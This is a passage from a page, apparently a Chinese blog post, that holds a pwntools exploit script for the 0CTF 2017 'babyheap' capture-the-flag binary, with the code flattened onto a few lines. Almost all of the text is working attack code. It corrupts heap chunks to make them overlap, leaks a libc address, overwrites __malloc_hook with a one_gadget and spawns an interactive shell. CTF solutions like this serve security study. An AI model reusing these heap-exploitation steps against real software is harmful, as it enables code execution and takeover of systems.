1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import* from LibcSearcher import *
p=process("./babyheap_0ctf_2017") context.log_level="debug" context(arch='amd64',os='linux') libc=ELF('./libc-2.23.so')
def add(size): p.sendlineafter('Command: ','1') p.sendlineafter('Size: ',str(size)) def full(index,size,content): p.sendlineafter('Command: ','2') p.sendlineafter('Index: ',str(index)) p.sendlineafter('Size: ',str(size)) p.sendlineafter('Content: ',content)
def free(index): p.sendlineafter('Command: ','3') p.sendlineafter('Index: ',str(index))
def show(index): p.sendlineafter('Command: ','4') p.sendlineafter('Index:',str(index)) add(0x10) add(0x10) add(0x10) add(0x10) add(0x80)
free(1) free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x20)+p8(0x80) full(0,0x41,payload)
payload=p64(0)*3+p64(0x21) full(3,0x20,payload)
add(0x10) add(0x10)
payload=p64(0)*3+p64(0x91) full(3,0x20,payload)
add(0x30) free(4)
show(2) p.recvuntil("Content:") main_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88 print(hex(main_addr)) base=main_addr-0x10-libc.sym['__malloc_hook'] system=base+libc.sym['system']
add(0x60) free(4)
fake_addr=main_addr-0x10-0x23 full(2,0x8,p64(fake_addr)) ''' or payload=p64(0)*3+p64(0x71)+p64(fake_addr) full(3,0x28,payload) ''' gdb.attach(p) sleep(1)
add(0x60) add(0x60) one=[0x45216,0x4526a,0xf02a4,0xf1147] one_gadget=base+one[1] payload=b'a'*0x13+p64(one_gadget) full(6,0x1b,payload) add(0x10)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~